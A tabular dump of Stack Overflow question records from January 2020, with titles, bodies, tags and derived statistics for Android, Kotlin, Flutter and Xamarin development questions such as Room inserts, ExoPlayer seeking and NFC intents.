id int64 28.5M 73.8M | title stringlengths 15 150 | question_body stringlengths 69 39.4k | body_text stringlengths 6 29.2k | tags stringlengths 7 120 | score int64 -19 384 | creation_date stringlengths 20 24 | year int64 -1 2.02k | month int64 -1 12 | hour int64 -1 23 | dayofweek int64 -1 6 | view_count int64 3 367k | answer_count int64 0 34 | body_len int64 6 29.2k | title_len int64 15 150 | tag_count int64 1 6 | code_block_cnt int64 0 17 | has_code bool 2
classes | is_unanswered bool 2
classes | is_popular bool 2
classes | is_viral bool 2
classes | is_highly_voted bool 2
classes | is_negative bool 2
classes | score_bucket stringclasses 5
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
59,925,407 | How to retrieve health data from Google Fit service in android | <p>I'm writing an Android program to retrieve specific type of health data. I read google documentation for retrieve data from users, but I cannot retrieve at the end. Could anyone help to resolve this problem by simplest way of java. My current code attached here with.</p>
<pre><code>public class MainActivity extends... | I'm writing an Android program to retrieve specific type of health data. I read google documentation for retrieve data from users, but I cannot retrieve at the end. Could anyone help to resolve this problem by simplest way of java. My current code attached here with. [CODE] By this code archive google authentication wi... | java|android|google-api|google-fit | 2 | 2020-01-27T05:10:26.023Z | 2,020 | 1 | 5 | 0 | 418 | 1 | 421 | 62 | 4 | 1 | true | false | false | false | false | false | low |
59,925,441 | How to restriction React native app uninstall | <p>I m developing a parental control app using react-native. basically this app does some basic parental control function. Is any way to restrict app uninstall in android. because this has some requirement to restrict app uninstall without parent permissions.</p> | I m developing a parental control app using react-native. basically this app does some basic parental control function. Is any way to restrict app uninstall in android. because this has some requirement to restrict app uninstall without parent permissions. | android|ios|reactjs|react-native | 1 | 2020-01-27T05:16:07.393Z | 2,020 | 1 | 5 | 0 | 604 | 2 | 256 | 45 | 4 | 0 | false | false | false | false | false | false | low |
59,925,443 | Store login state in sqlite or share Preference | <p>I making the app, in my app i making the login screen hy registration screen, i want to store the login state if the user login the app then he never login again until the user logout the app, but i nor know where the Shared Preference code are implements, Kindly give me a suitable solution
Thats my full login scre... | I making the app, in my app i making the login screen hy registration screen, i want to store the login state if the user login the app then he never login again until the user logout the app, but i nor know where the Shared Preference code are implements, Kindly give me a suitable solution Thats my full login screen c... | java|android|sqlite|sharedpreferences | 0 | 2020-01-27T05:16:28.960Z | 2,020 | 1 | 5 | 0 | 135 | 3 | 335 | 47 | 4 | 0 | false | false | false | false | false | false | zero |
59,925,462 | While hitting the Serive , Java.net.socketException rises | <p>Am facing this issue in android studio .... i have done a web service and given to the android team to use it and then the issues rises when they hitting the web service ..Can anyone has faced this issue i need to resolve it kindly respond, thanks in advance</p> | Am facing this issue in android studio .... i have done a web service and given to the android team to use it and then the issues rises when they hitting the web service ..Can anyone has faced this issue i need to resolve it kindly respond, thanks in advance | android|wcf | 0 | 2020-01-27T05:19:34.033Z | 2,020 | 1 | 5 | 0 | 18 | 0 | 258 | 57 | 2 | 0 | false | true | false | false | false | false | zero |
59,925,545 | flutter ios can't run, getting widgets library exceptions and lost device connetion | <p>I am getting the following error while running the application What can be the possible reason for the issue?</p>
<pre><code>Launching lib/main.dart on iPhone 8 Plus in debug mode...
Xcode build done. 48.9s
flutter: ══╡ EXCEPTION CAUGHT BY WIDGETS LIBRARY ╞═════════════════... | I am getting the following error while running the application What can be the possible reason for the issue? [CODE] also tried : flutter doctor -v flutter clean | android|ios|xcode|flutter|flutter-dependencies | 0 | 2020-01-27T05:30:51.553Z | 2,020 | 1 | 5 | 0 | 52 | 1 | 161 | 83 | 5 | 1 | true | false | false | false | false | false | zero |
59,925,625 | I have an alertDialog in which i have check boxes . I want to retain the values of the check boxes checked in by the user | <p>I want to retain the checkbox values entered by the user.
I want the selected values to be there when the alert dialog is opened again. I have the checkboxes in <em>alert dialog</em>. Once the user chooses his/her choice and then comes back, I want the checkboxes to be checked with the previous user input until the ... | I want to retain the checkbox values entered by the user. I want the selected values to be there when the alert dialog is opened again. I have the checkboxes in alert dialog . Once the user chooses his/her choice and then comes back, I want the checkboxes to be checked with the previous user input until the app closes.... | android|android-studio|checkbox|android-alertdialog|android-checkbox | 0 | 2020-01-27T05:41:06.867Z | 2,020 | 1 | 5 | 0 | 159 | 2 | 345 | 121 | 5 | 0 | false | false | false | false | false | false | zero |
59,925,666 | Why developing Android today needs to sync with gradle? | <p>During my college days, I used to code android by using eclipse and <code>SDK/ADK</code>.
And now I'm back to programming, I was a bit late about the fast major updates on today's android development. It says that it need to sync with <code>gradle</code>. But why?</p> | During my college days, I used to code android by using eclipse and SDK/ADK . And now I'm back to programming, I was a bit late about the fast major updates on today's android development. It says that it need to sync with gradle . But why? | java|android|android-studio|gradle | 0 | 2020-01-27T05:45:43.457Z | 2,020 | 1 | 5 | 0 | 47 | 1 | 240 | 55 | 4 | 0 | false | false | false | false | false | false | zero |
59,925,752 | Display months on XAxis using MPAndroidChart | <p>I'm developing one chart related to months and days.
On my XAxis, I have days, but I need to show titles only for the first day of the month.
For instance, if my range starts from 23rd November and ends on 12 January, I need to show the titles starting from 1st December, 1st January...
Overall, I need to show an int... | I'm developing one chart related to months and days. On my XAxis, I have days, but I need to show titles only for the first day of the month. For instance, if my range starts from 23rd November and ends on 12 January, I need to show the titles starting from 1st December, 1st January... Overall, I need to show an interv... | android|charts|mpandroidchart | 1 | 2020-01-27T05:56:57.813Z | 2,020 | 1 | 5 | 0 | 436 | 1 | 546 | 44 | 3 | 0 | false | false | false | false | false | false | low |
59,925,764 | .Mp4(h264) with framerate:25 video not seekable in Exoplayer | <p>I am using ExoPlayer 2.11.1 and playing a video with codec(h.264 avc) .MP4. Frame rate is 25. Video is playing but the seekbar is issuing everytime i seek the video , it start playing from the start . I am playing this video Link is :<a href="https://drive.google.com/open?id=16CJJKU-p6Dwd3WBi8KaVuBJn1y8Os7qi" rel="n... | I am using ExoPlayer 2.11.1 and playing a video with codec(h.264 avc) .MP4. Frame rate is 25. Video is playing but the seekbar is issuing everytime i seek the video , it start playing from the start . I am playing this video Link is : https://drive.google.com/open?id=16CJJKU-p6Dwd3WBi8KaVuBJn1y8Os7qi . Also at the firs... | android|h.264|seekbar|exoplayer | 1 | 2020-01-27T05:59:14.020Z | 2,020 | 1 | 5 | 0 | 147 | 0 | 520 | 60 | 4 | 0 | false | true | false | false | false | false | low |
59,925,813 | How to avoid null response in MVVM pattern? | <p>I am using MVVM pattern in my android project. Every time I do registration it doesn't satisfies the following response <code>if (response != null && response.isSuccessful())</code> </p>
<h2>Activity</h2>
<pre><code>private void observeRegistration() {
final Register payLoad = new Register();
... | I am using MVVM pattern in my android project. Every time I do registration it doesn't satisfies the following response if (response != null && response.isSuccessful()) Activity [CODE] RegisterViewModel [CODE] The Log I am getting is Response{protocol=h2, code=403, message=, url=aws_url} . What is the mistake in my cod... | java|android|mvvm | 1 | 2020-01-27T06:03:28.883Z | 2,020 | 1 | 6 | 0 | 45 | 0 | 324 | 43 | 3 | 2 | true | true | false | false | false | false | low |
59,925,860 | Adding items from xml String array into recycler view within a fragment | <p>Im having some trouble trying to add an array of cities into each item location inside my fragment list. I have created the dummy list template for my fragment but can't find anything online about how to store the values on my array in an Strings.xml file into the values inside the recycler view. I want to replace t... | Im having some trouble trying to add an array of cities into each item location inside my fragment list. I have created the dummy list template for my fragment but can't find anything online about how to store the values on my array in an Strings.xml file into the values inside the recycler view. I want to replace the ... | java|android|xml|android-fragments|android-recyclerview | 1 | 2020-01-27T06:07:53.170Z | 2,020 | 1 | 6 | 0 | 2,251 | 1 | 731 | 71 | 5 | 6 | true | false | false | false | false | false | low |
59,925,922 | I am not able to load my image via taskSnapshot.getStorage().getDownloadUrl().toString() method please tell me if any suggestions for this | <p>many suggestions tried but <code>taskSnapshot.getStorage().getDownloadUrl().toString()</code> this is not working. in the firebase the another url is stored despite the download url. the whole 2 related java files are given below. if any suggestions you have please tell me about that.</p>
<p><strong>PostAddFragment... | many suggestions tried but taskSnapshot.getStorage().getDownloadUrl().toString() this is not working. in the firebase the another url is stored despite the download url. the whole 2 related java files are given below. if any suggestions you have please tell me about that. PostAddFragment.java [CODE] ImageAdapter.java [... | android|firebase|url|firebase-storage|imageurl | 0 | 2020-01-27T06:14:18.510Z | 2,020 | 1 | 6 | 0 | 72 | 1 | 369 | 138 | 5 | 2 | true | false | false | false | false | false | zero |
59,925,985 | could not figure out how to get coroutines work correctly for inserting data into Room database | <p>I could not find the issue of not inserting the data into <code>Room Database</code> when app is launched first time, but when App is restarted data is inserted. Why not insertion is happening at first launch?</p>
<p>My code is:</p>
<pre><code>@Dao
interface FooDAO {
@Insert
suspend fun save(foo: Foo) ... | I could not find the issue of not inserting the data into Room Database when app is launched first time, but when App is restarted data is inserted. Why not insertion is happening at first launch? My code is: [CODE] and Database class is as simple: [CODE] with the code above records are not inserted at first launch of ... | android|android-room|kotlin-coroutines | 0 | 2020-01-27T06:21:23.963Z | 2,020 | 1 | 6 | 0 | 106 | 0 | 449 | 95 | 3 | 2 | true | true | false | false | false | false | zero |
59,926,012 | Flutter Login with Facebook returns build error | <p>I was integrating login with facebook option to my flutter app.</p>
<p>I used</p>
<p><strong>firebase_auth: ^0.14.0+5</strong></p>
<p><strong>flutter_facebook_login: ^1.1.1</strong></p>
<p>After i connect firebase the app was running without any error. But flutter run gives this error when i intergrate the <stro... | I was integrating login with facebook option to my flutter app. I used firebase_auth: ^0.14.0+5 flutter_facebook_login: ^1.1.1 After i connect firebase the app was running without any error. But flutter run gives this error when i intergrate the flutter_facebook_login plugin. I added these lines to my manifest.xml file... | android|firebase|flutter|firebase-authentication|facebook-authentication | 0 | 2020-01-27T06:25:08.223Z | 2,020 | 1 | 6 | 0 | 2,083 | 1 | 453 | 47 | 5 | 3 | true | false | false | false | false | false | zero |
59,926,124 | Android MediaStore API to trash an image | <p>My app is a photo organizer of photos taken with the default camera app. I want it to send photos to "trash", so they can later be restored from trash in the default photos app.</p>
<p>Deleting images fully is shown with an example in the API docs: <a href="https://developer.android.com/training/data-storage/shared... | My app is a photo organizer of photos taken with the default camera app. I want it to send photos to "trash", so they can later be restored from trash in the default photos app. Deleting images fully is shown with an example in the API docs: https://developer.android.com/training/data-storage/shared/media#remove-item ,... | android|mediastore | 0 | 2020-01-27T06:36:10.713Z | 2,020 | 1 | 6 | 0 | 869 | 2 | 825 | 40 | 2 | 0 | false | false | false | false | false | false | zero |
59,926,139 | How to Implement Deeplink(Universal Linking) In Xamarin forms Both Android and iOS? | <p>Guys, I need to implement Applink (Universal Link) step by step both android and iOS, please any to help achieve this. I tried the following code in my android project </p>
<p>I followed this URL to write this <a href="https://devblogs.microsoft.com/xamarin/connect-with-your-users-with-google-search-and-app-indexin... | Guys, I need to implement Applink (Universal Link) step by step both android and iOS, please any to help achieve this. I tried the following code in my android project I followed this URL to write this https://devblogs.microsoft.com/xamarin/connect-with-your-users-with-google-search-and-app-indexing/ Note I no need to ... | c#|xamarin.forms|xamarin.android|xamarin.ios | 3 | 2020-01-27T06:37:53.973Z | 2,020 | 1 | 6 | 0 | 4,443 | 1 | 645 | 83 | 4 | 2 | true | false | true | false | false | false | low |
59,926,150 | Problem with onItemSelected spinner in android | <p>I want to change language of my app by selected spinner, but at first time, don't change. After two time selected, it worked. I force to use setOnTouchListener because without it occur loop. It worked but after many times select.</p>
<p>This is my code:</p>
<pre><code> boolean spinnerTouch=false;
... | I want to change language of my app by selected spinner, but at first time, don't change. After two time selected, it worked. I force to use setOnTouchListener because without it occur loop. It worked but after many times select. This is my code: [CODE] | android|spinner|onitemselectedlistener | 2 | 2020-01-27T06:39:00.673Z | 2,020 | 1 | 6 | 0 | 94 | 2 | 253 | 46 | 3 | 1 | true | false | false | false | false | false | low |
59,926,188 | I have a button inside my grid view, I want to send data to another activity when the button (which is inside grid view) is clicked | <p>i googled and found that custom adapter can solve this, but unable to implement in this code, can any one help me out.</p>
<p>All my grid view is worked in this fragment.</p>
<pre><code>public class HomeFragment extends Fragment {
private HomeViewModel homeViewModel;
private GridView gridView;
String canWaterName... | i googled and found that custom adapter can solve this, but unable to implement in this code, can any one help me out. All my grid view is worked in this fragment. [CODE] fragment_Home.xml [CODE] This is my grid view template. row_data.xml [CODE] I want to send data to this activity on button click which is present ins... | android-gridview | 0 | 2020-01-27T06:42:12.873Z | 2,020 | 1 | 6 | 0 | 36 | 1 | 399 | 131 | 1 | 5 | true | false | false | false | false | false | zero |
59,926,208 | Launch Telegram app from Android application with message and recipient | <p>I need to open Telegram from my own Android App prepopulating both the message and recipient (and not having to choose betwenn Chrome or Telegram),
I achieved the first one with this code:</p>
<pre><code> final String appName = "org.telegram.messenger";
Intent tIntent = new Intent(Intent.ACTION_SEND)... | I need to open Telegram from my own Android App prepopulating both the message and recipient (and not having to choose betwenn Chrome or Telegram), I achieved the first one with this code: [CODE] And the second one with this code: [CODE] (I removed all checks like isTelegramInstalled for simplicity) I tried to mix the ... | java|android|telegram | 0 | 2020-01-27T06:44:34.377Z | 2,020 | 1 | 6 | 0 | 1,226 | 2 | 739 | 71 | 3 | 3 | true | false | false | false | false | false | zero |
59,926,218 | Flutter : How to prevent rebuild of whole Reorderable Listview? | <p>Currently I'm using flutter package 'Reorderables' to show a reorderable listview which contains several images.These images can be deleted from listview through a button , everything works fine. But the listview rebuild everytime when I delete an image. I'm using a class called 'ReorderableListviewManager' with Cha... | Currently I'm using flutter package 'Reorderables' to show a reorderable listview which contains several images.These images can be deleted from listview through a button , everything works fine. But the listview rebuild everytime when I delete an image. I'm using a class called 'ReorderableListviewManager' with Change... | android|flutter|dart|flutter-dependencies|dart-pub | 6 | 2020-01-27T06:45:39.037Z | 2,020 | 1 | 6 | 0 | 1,681 | 1 | 840 | 63 | 5 | 1 | true | false | false | false | false | false | medium |
59,926,338 | Checkbox Text going out of Screen layout | <p>I have implemented two column checkbox. But when check box text are large, it goes out of screen layout. I have attached screenshot as reference . How to restrict them to appear as multiline text and fixed inside Mobile screen. Here is my code. I have added two columns of table inside the tablel row where I have ins... | I have implemented two column checkbox. But when check box text are large, it goes out of screen layout. I have attached screenshot as reference . How to restrict them to appear as multiline text and fixed inside Mobile screen. Here is my code. I have added two columns of table inside the tablel row where I have insert... | xml|android-layout|layout | 0 | 2020-01-27T06:56:01.777Z | 2,020 | 1 | 6 | 0 | 86 | 1 | 505 | 40 | 3 | 1 | true | false | false | false | false | false | zero |
59,926,345 | How to import a file or external database into SQLite android | <p>I am trying to create an android application for searching contacts using sqlite database. How to import contacts of around 2000(in a file, excel or json or xml) or else external database into my database when the app is installed for the first time. I got this code from online, I made some changes according to my r... | I am trying to create an android application for searching contacts using sqlite database. How to import contacts of around 2000(in a file, excel or json or xml) or else external database into my database when the app is installed for the first time. I got this code from online, I made some changes according to my requ... | android|android-studio|android-sqlite | 0 | 2020-01-27T06:56:47.290Z | 2,020 | 1 | 6 | 0 | 53 | 0 | 420 | 61 | 3 | 3 | true | true | false | false | false | false | zero |
59,926,385 | Retrofit getting org.json.JSONException: End of input at character 0 of | <p>I am creating an android application and i need to call api from server for checking the status.but i am getting getting <code>org.json.JSONException: End of input at character 0 of</code>. i cannot figure out whats wrong.But if am using <code>volley</code> instead of <code>retrofit</code> it is working. if i am usi... | I am creating an android application and i need to call api from server for checking the status.but i am getting getting org.json.JSONException: End of input at character 0 of . i cannot figure out whats wrong.But if am using volley instead of retrofit it is working. if i am using retrofit i am getting this error. Acti... | android|api|gson|retrofit2 | 0 | 2020-01-27T07:00:22.193Z | 2,020 | 1 | 7 | 0 | 519 | 1 | 369 | 71 | 4 | 4 | true | false | false | false | false | false | zero |
59,926,438 | Android Gradle - Failed to resolve error when implementing Apache POI in gradle | <p>I am trying to use the following library (<a href="https://github.com/SUPERCILEX/poi-android" rel="nofollow noreferrer">https://github.com/SUPERCILEX/poi-android</a>) so that my app can read the contents of a Word document. I have tried to follow the instructions in the accepted answer to this similar question: <a h... | I am trying to use the following library ( https://github.com/SUPERCILEX/poi-android ) so that my app can read the contents of a Word document. I have tried to follow the instructions in the accepted answer to this similar question: How to add POI Android in Android Studio? but to no avail. My question is different, as... | android|gradle|kotlin|apache-poi | 0 | 2020-01-27T07:04:27.780Z | 2,020 | 1 | 7 | 0 | 1,095 | 3 | 601 | 79 | 4 | 2 | true | false | false | false | false | false | zero |
59,926,468 | TextureView.getSurfaceTexture() returning null | <p>I have a textureview in my layout file which I've attached to a service. My texture view is returning null pointer exception even after I have set the surface texture listener.</p>
<pre><code>if (textureView != null) {
final SurfaceTexture texture = textureView.getSurfaceTexture();
te... | I have a textureview in my layout file which I've attached to a service. My texture view is returning null pointer exception even after I have set the surface texture listener. [CODE] The error i get is [CODE] I found this question asked already getSurfaceTexture() returning null which i already am doing. I am referrin... | android | 0 | 2020-01-27T07:07:02.237Z | 2,020 | 1 | 7 | 0 | 904 | 1 | 389 | 46 | 1 | 2 | true | false | false | false | false | false | zero |
59,926,495 | Can any body help me to create this image in android by using shape | <p><a href="https://i.stack.imgur.com/BWBz8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BWBz8.png" alt="enter image description here"></a></p>
<p>Please suggest me which is the best way to create this image by just create png or jpeg or by using shape. I want an only bg image not "20% Off" writt... | Please suggest me which is the best way to create this image by just create png or jpeg or by using shape. I want an only bg image not "20% Off" written. I can do it by just using the circle. But I am not able to create the background image. | android|android-studio|android-layout | -2 | 2020-01-27T07:10:27.500Z | 2,020 | 1 | 7 | 0 | 48 | 1 | 241 | 67 | 3 | 0 | false | false | false | false | false | true | negative |
59,926,520 | Can't show badge at bottomNavigationView | <p>I have methods which show badges on some items on my <code>bottomNavigtionView</code>. Here it is:</p>
<pre><code>private fun addBadgeView() {
val menuView = mainNavigationView.getChildAt(0) as BottomNavigationMenuView
val itemView = menuView.getChildAt(1) as BottomNavigationItemView
val not... | I have methods which show badges on some items on my bottomNavigtionView . Here it is: [CODE] but sometimes I would like to remove some items at some conditions, so I have added here small condition: [CODE] and I check whether my bottomNavigationView contains this items: [CODE] and as a result I don't see any badge bec... | android|bottomnavigationview | 0 | 2020-01-27T07:12:47.423Z | 2,020 | 1 | 7 | 0 | 148 | 1 | 723 | 40 | 2 | 6 | true | false | false | false | false | false | zero |
59,926,547 | Background task for Workmanger | <p>My question is can I close the activity after starting work manager?. currently in my app, I want to use <code>WorkManager</code> to print a receipt from the printer. So I want to start <code>WorkManager</code> from the activity, then I need to close the activity. Will the code from the <code>WorkManager</code> cont... | My question is can I close the activity after starting work manager?. currently in my app, I want to use WorkManager to print a receipt from the printer. So I want to start WorkManager from the activity, then I need to close the activity. Will the code from the WorkManager continue the print task from the worker or wil... | android | 1 | 2020-01-27T07:14:50.490Z | 2,020 | 1 | 7 | 0 | 42 | 1 | 358 | 30 | 1 | 0 | false | false | false | false | false | false | low |
59,926,580 | How to use parseInt in kotlin? | <p>I making fun increase, decrease for item count. I want make count.text plus "T" Character. when I tried to make code like this.
error code: java.lang.NumberFormatException: For input string: "1T"
How can I solve this problem? Any one can help??</p>
<pre><code> fun increaseInteger() {
var count = findVie... | I making fun increase, decrease for item count. I want make count.text plus "T" Character. when I tried to make code like this. error code: java.lang.NumberFormatException: For input string: "1T" How can I solve this problem? Any one can help?? [CODE] | android-studio|kotlin|parseint | 3 | 2020-01-27T07:16:50.073Z | 2,020 | 1 | 7 | 0 | 3,095 | 2 | 251 | 30 | 3 | 1 | true | false | true | false | false | false | low |
59,926,634 | Android multi-user: get current user info | <p>Strangely there isn't a question on SO regarding this topic. At least I couldn't find one.</p>
<p>Like Windows & Linux, Android too allows us to have multiple <strong><em>user</em></strong> accounts on the same device/computer:</p>
<p><a href="https://i.stack.imgur.com/QKe81.jpg" rel="nofollow noreferrer"><img... | Strangely there isn't a question on SO regarding this topic. At least I couldn't find one. Like Windows & Linux, Android too allows us to have multiple user accounts on the same device/computer: Each user is the FIRST (or primary) Google account with which the device/user partition was activated. Hence, one way to get ... | android|google-play-services|google-signin|android-account|android-multiple-users | 1 | 2020-01-27T07:22:06.487Z | 2,020 | 1 | 7 | 0 | 774 | 0 | 1,277 | 41 | 5 | 0 | false | true | false | false | false | false | low |
59,926,675 | How to start new activity on nfc tag discovery? | <p>I am writing a code which should return NFC tag value on the next activity ( page ) when NFC get detected during scan. What happens here is that when I launch the app for the first time it the first page shows for a fraction of a second and moves to second page directly ( activity ). </p>
<p>Here is the piece of co... | I am writing a code which should return NFC tag value on the next activity ( page ) when NFC get detected during scan. What happens here is that when I launch the app for the first time it the first page shows for a fraction of a second and moves to second page directly ( activity ). Here is the piece of code for the f... | java|android|nfc | 1 | 2020-01-27T07:25:41.387Z | 2,020 | 1 | 7 | 0 | 565 | 2 | 581 | 47 | 3 | 1 | true | false | false | false | false | false | low |
59,926,697 | Delphi 10.3 , Anroid (8.1.0) , Zebra TC20 , SSID | <p>I am trying to get the SSID but it always returns </p>
<pre><code>procedure TMainScreen.Button1Click(Sender: TObject);
var obj: JObject;
WifiMgr : JWifiManager;
WifiInfo : JWifiInfo;
level : integer;
SSID : string;
begin
// ACCESS_FINE_LOCATION Permission
obj := SharedActivityContext.getSyste... | I am trying to get the SSID but it always returns [CODE] I also tried to [CODE] but it always return Not Completed . UPDATE 1 I start the Program without WIFI Connection . [CODE] I get DISCONNECTED . Then I start the Connect to WIFI , it says SCANNING . Then I am connected it says CONNECTED . But why on earth is this n... | android|delphi|wifi | 0 | 2020-01-27T07:27:25.947Z | 2,020 | 1 | 7 | 0 | 291 | 0 | 371 | 48 | 3 | 5 | true | true | false | false | false | false | zero |
59,926,729 | Not Null constraint failed in Room database | <p>I have retrieved data from the server and that data i am trying to insert into local storage of room various few of the fields are blank for which i am not able to append .</p>
<p>Following is my data class below </p>
<pre><code>const val CURRENT_USER_ID = 0
@Entity
data class UserModel(val first_name: String,
... | I have retrieved data from the server and that data i am trying to insert into local storage of room various few of the fields are blank for which i am not able to append . Following is my data class below [CODE] Please let me know how can i get resolve this error . If any of the fields is null i want to enter empty st... | android|sqlite|kotlin|android-room | 1 | 2020-01-27T07:29:35.257Z | 2,020 | 1 | 7 | 0 | 1,290 | 2 | 324 | 43 | 4 | 1 | true | false | false | false | false | false | low |
59,926,756 | Report all Android crashes to own API | <p>I am in a situation where I cannot use third party Crash reporting platform (Crashalytics ...etc)</p>
<p>So, I started to use self developed Rest API to receive crash reports from mobile app.</p>
<p>However, I can only send handled crashes so far by using <code>try-catch</code></p>
<p>How can I handle all crashes... | I am in a situation where I cannot use third party Crash reporting platform (Crashalytics ...etc) So, I started to use self developed Rest API to receive crash reports from mobile app. However, I can only send handled crashes so far by using try-catch How can I handle all crashes thrown by my mobile app even those whic... | android|crash-reports | 0 | 2020-01-27T07:32:43.467Z | 2,020 | 1 | 7 | 0 | 269 | 2 | 456 | 37 | 2 | 0 | false | false | false | false | false | false | zero |
59,926,822 | Exoplayer video loading speed | <p>I'm looking to implement exoplayer in my project. I have successfully implemented it, but the loading time of video is slow. how to implement or to achieve speed loading of the video in exoplayer? just like tiktok does it - immediately loads the video and starts playing</p> | I'm looking to implement exoplayer in my project. I have successfully implemented it, but the loading time of video is slow. how to implement or to achieve speed loading of the video in exoplayer? just like tiktok does it - immediately loads the video and starts playing | android|exoplayer | 1 | 2020-01-27T07:38:24.967Z | 2,020 | 1 | 7 | 0 | 4,245 | 1 | 270 | 29 | 2 | 0 | false | false | true | false | false | false | low |
59,926,842 | Session Id Is coming null in android from server | <p>I have created a login activity when user enters their username and password and then press the login button. From the server, if the login is login is successful then I am checking all the data from the server .
Except for the session-id remaining all the data is coming from the server. But session id I am getting ... | I have created a login activity when user enters their username and password and then press the login button. From the server, if the login is login is successful then I am checking all the data from the server . Except for the session-id remaining all the data is coming from the server. But session id I am getting nul... | android|retrofit | 0 | 2020-01-27T07:40:06.277Z | 2,020 | 1 | 7 | 0 | 383 | 1 | 419 | 48 | 2 | 4 | true | false | false | false | false | false | zero |
59,926,887 | Add a window event listener to WebView and call a Java function | <p>I'm displaying a webpage in my Android app using a <code>WebView</code>, this webpage triggers a window message event and gives some data through that event. I need to access the data from the message event.</p>
<p>To achieve this, I'm adding the JavaScript event listener by using <code>evaluateJavascript()</code> m... | I'm displaying a webpage in my Android app using a WebView , this webpage triggers a window message event and gives some data through that event. I need to access the data from the message event. To achieve this, I'm adding the JavaScript event listener by using evaluateJavascript() method and trying to call a Java fun... | android|android-webview | 1 | 2020-01-27T07:43:46.557Z | 2,020 | 1 | 7 | 0 | 3,478 | 1 | 513 | 63 | 2 | 1 | true | false | true | false | false | false | low |
59,926,896 | How to record internal audio [root/no root] in android devices | <p>I have used and tried MediaRecorder.AudioSource.REMOTE_SUBMIX while recording the screen surface, the app crashes due to permission issue, tested in HTC 10 [rooted with <strong>superSu</strong> installed in it].</p>
<p>While it works for the following inputs:</p>
<pre><code>mMediaRecorder.setAudioSource(MediaRecor... | I have used and tried MediaRecorder.AudioSource.REMOTE_SUBMIX while recording the screen surface, the app crashes due to permission issue, tested in HTC 10 [rooted with superSu installed in it]. While it works for the following inputs: [CODE] I want to record system's internal / output audio without using mic. requirem... | android|audio-recording|mediarecorder|screen-recording|rooted-device | 0 | 2020-01-27T07:44:43.600Z | 2,020 | 1 | 7 | 0 | 1,746 | 1 | 803 | 62 | 5 | 4 | true | false | false | false | false | false | zero |
59,926,951 | Best way to navigate to a nested destination | <p>The app I'm currently working on has many fragments with nested menus and a really messy navigation. I thought Navigation with nested nav graphs is a natural solution and migrated a small portion of the app. I also need to support search functionality which involves navigating directly from root graph to a nested de... | The app I'm currently working on has many fragments with nested menus and a really messy navigation. I thought Navigation with nested nav graphs is a natural solution and migrated a small portion of the app. I also need to support search functionality which involves navigating directly from root graph to a nested desti... | android|android-navigation|android-architecture-navigation | 1 | 2020-01-27T07:50:55.247Z | 2,020 | 1 | 7 | 0 | 64 | 0 | 618 | 44 | 3 | 0 | false | true | false | false | false | false | low |
59,926,964 | Not able to to import android.os.storage.VolumeInfo and not able to use getVolumes() API | <p>With Android 6.0 and Above, not able to compile the below code.</p>
<p>It is not able to import android.os.storage.VolumeInfo</p>
<p>Needs to get volumeInfos from getVolumes() API.</p>
<p>Below is the code.</p>
<pre><code> if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
StorageManager sm = ct... | With Android 6.0 and Above, not able to compile the below code. It is not able to import android.os.storage.VolumeInfo Needs to get volumeInfos from getVolumes() API. Below is the code. [CODE] | android|android-6.0-marshmallow|volume | 0 | 2020-01-27T07:51:59.227Z | 2,020 | 1 | 7 | 0 | 750 | 1 | 192 | 88 | 3 | 1 | true | false | false | false | false | false | zero |
59,926,978 | java.lang.NullPointerException: Attempt to invoke virtual method on a null object reference, while its not null | <p>I am trying to use a variable from 1 class into another class so i do not have to make a URL call and a parser all over again but i get the error in the title and i do not understand why. The name variable i have as testing is not empty, it has a value that it has taken from a different class.</p>
<p><strong>CoatJa... | I am trying to use a variable from 1 class into another class so i do not have to make a URL call and a parser all over again but i get the error in the title and i do not understand why. The name variable i have as testing is not empty, it has a value that it has taken from a different class. CoatJacket Code : [CODE] ... | java|android | -2 | 2020-01-27T07:53:09.153Z | 2,020 | 1 | 7 | 0 | 1,008 | 1 | 372 | 111 | 2 | 3 | true | false | false | false | false | true | negative |
59,927,001 | How to get file path of files located in resources | <p>I am using <code>WebView</code> and applying some styling to <code>WebView</code>'s text. My fonts are located in the <code>res/font</code> folder right now and I am using those fonts to apply custom font. I creating my own html and applying font like this: </p>
<pre><code><html>
<head>
<... | I am using WebView and applying some styling to WebView 's text. My fonts are located in the res/font folder right now and I am using those fonts to apply custom font. I creating my own html and applying font like this: [CODE] Everything is working fine. But my problem is this solution making me copy font inside res/fo... | android|html|android-resources|android-assets | 0 | 2020-01-27T07:54:43.527Z | 2,020 | 1 | 7 | 0 | 254 | 0 | 1,103 | 50 | 4 | 2 | true | true | false | false | false | false | zero |
59,927,062 | How to make named import be the default behavior when importing from XML? | <p>I have the following imports in my activity - </p>
<pre><code>import kotlinx.android.synthetic.main.activity_checkout.*
import kotlinx.android.synthetic.main.activity_checkout.checkout_activity_products_recyclerview as productsRecyclerView
</code></pre>
<p>and I was wondering if it is possible to configure in the ... | I have the following imports in my activity - [CODE] and I was wondering if it is possible to configure in the IDE that when I am calling a name of a view from XML it will automatically name it for me the name I want with the blinking underline waiting for me to type it's name? rather than me doing it manually? | android|kotlin|import|xml-namespaces | 1 | 2020-01-27T08:00:02.643Z | 2,020 | 1 | 8 | 0 | 31 | 1 | 312 | 73 | 4 | 1 | true | false | false | false | false | false | low |
59,927,098 | Unable to download Image from URL Xamarin Form | <p>I am developing a Xamarin app which retrives info from DB, take/choose photo and upload them to remote server, display this images from the remote server and the user can delete them by tap on and press a button. The final step is to download the images stored in the server to the local device gallery.</p>
<p>This ... | I am developing a Xamarin app which retrives info from DB, take/choose photo and upload them to remote server, display this images from the remote server and the user can delete them by tap on and press a button. The final step is to download the images stored in the server to the local device gallery. This is my curre... | c#|xamarin|xamarin.forms|download|xamarin.android | 1 | 2020-01-27T08:03:21.800Z | 2,020 | 1 | 8 | 0 | 567 | 2 | 786 | 46 | 5 | 3 | true | false | false | false | false | false | low |
59,927,152 | How to animate only selected items in RecyclerView | <p>I have <code>RecyclerView</code> and I want to animate one <code>View</code> inside <code>RecyclerView</code> item only for items which meet certain condition.</p>
